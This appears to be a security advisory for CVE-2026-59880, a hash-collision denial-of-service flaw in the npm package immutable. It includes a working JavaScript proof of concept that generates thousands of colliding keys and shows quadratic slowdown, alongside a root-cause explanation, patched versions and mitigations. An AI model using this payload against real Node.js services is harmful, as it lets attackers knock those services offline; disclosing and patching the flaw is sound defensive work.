highCVE-2026-59880Jul 21, 2026

CVE-2026-59880: immutable Hash-Collision Algorithmic Complexity DoS

Rohit Hatagale
AI Security Researcher, SecureLayer7

Crafting many object keys that share the same 32-bit hash forces Immutable.Map and Immutable.Set into O(n²) behavior, letting an attacker stall a Node.js server with a small, precomputed payload.

Packageimmutable
Ecosystemnpm
Affected< 4.3.9
Fixed in4.3.9

The problem

Immutable.Map and Immutable.Set store keys that share the same 32-bit hash in a HashCollisionNode bucket that is scanned linearly on every get and update. Because the hash function is public and deterministic (JVM-style polynomial: `hashed = (31 * hashed + charCode) | 0`), the colliding key set is fully precomputable.

An attacker who controls the keys fed to `Immutable.Map(req.body)`, `Immutable.fromJS(req.body)`, `state.merge(userObject)`, or `mergeDeep()` can degrade insertion and lookup from O(1) to O(n) per operation, making the full build or read O(n²). On Node.js this blocks the event loop and causes a CPU-bound denial of service.

Applications that store attacker input only as values under fixed keys are not affected.

Proof of concept

A working proof-of-concept for CVE-2026-59880 in immutable, with the exact payload below.

javascript
// "Aa" and "BB" share hash 2112 under (31*h + charCode)|0.
// Concatenating such pairs yields 2^n distinct strings with the same hash.
// 20 characters => 1024 colliding keys; 40 characters => >1,000,000.

function makePairs(depth) {
  if (depth === 0) return [''];
  const prev = makePairs(depth - 1);
  const out = [];
  for (const p of prev) {
    out.push('Aa' + p); // 'Aa' and 'BB' are interchangeable here
    out.push('BB' + p);
  }
  return out;
}

// Generate ~8000 keys that all share the same 32-bit hash
const collidingKeys = makePairs(13); // 2^13 = 8192 keys
const obj = Object.fromEntries(collidingKeys.map((k, i) => [k, i]));

const { Map } = require('immutable');
console.time('build');
const m = Map(obj);   // O(n^2): ~0.7 s on a modern machine at n=8000
console.timeEnd('build');

console.time('read');
for (const k of collidingKeys) m.get(k); // O(n^2): ~0.6 s
console.timeEnd('read');
// Doubling n multiplies elapsed time by ~4x (quadratic scaling confirmed).

Every key in the collision set routes to a single HashCollisionNode. The node's get and update methods walk the entire bucket calling `is()` for each entry, so lookup is O(bucket size). Building or fully reading a map with N colliding keys therefore costs O(N²) operations total.

Because `hash()` is documented, public, and deterministic with no per-process salt, the full colliding set can be computed offline and sent in any JSON body. The patch (commits e51d49f for v5, 3dd7e56 backport for v4) fixes this by building a secondary index keyed by a per-process seeded hash once a collision bucket grows past a threshold, restoring near-O(1) lookups without changing the public `hash()` API or key-equality semantics.

Root cause: CWE-407 (Inefficient Algorithmic Complexity) compounded by CWE-400 (Uncontrolled Resource Consumption) on a single-threaded runtime.

The fix

Upgrade immutable to 4.3.9 (4.x line) or 5.1.8 (5.x line). As an interim workaround, cap request body size, limit the number and length of object keys before passing user data to Immutable structures, and avoid `Immutable.Map(req.body)` or `mergeDeep(userObject)` on unvalidated input.

Reported by nvth.

References: [1][2][3][4][5][6]

Related research